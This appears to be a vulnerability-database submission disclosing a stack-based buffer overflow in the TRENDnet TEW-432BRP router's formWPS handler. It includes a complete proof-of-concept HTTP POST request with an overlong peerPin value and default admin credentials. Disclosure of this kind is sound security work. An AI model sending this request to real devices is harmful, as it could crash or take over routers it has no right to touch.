| Title | TRENDnet TEW-432BRP 3.10B20 Stack-based Buffer Overflow |
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| Description | In formWPS function, peerPin is directly passed by the attacker, If this part of the data is too long, it will cause the stack overflow, so we can control the peerPin to execute arbitrary code.
POST /goform/formWPS HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Origin: http://192.168.10.1
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Referer: http://192.168.10.1/wlan_wps.asp?t=1777301493134
Upgrade-Insecure-Requests: 1
enable=on&peerPin=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&setPIN=Start+PIN&webpage=wlan_wps.asp&wpsAction=pin |
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| Source | ⚠️ https://github.com/wudipjq/my_vuln/blob/main/TRENDnet/vuln_4/4.md |
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| User | pjqwudi_Buoy (UID 97665) |
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| Submission | 04/28/2026 09:06 (2 months ago) |
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| Moderation | 05/29/2026 10:20 (1 month later) |
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| Status | Accepted |
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| VulDB entry | 367149 [TRENDnet TEW-432BRP 3.10B20 /goform/formWPS peerPin stack-based overflow] |
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| Points | 20 |
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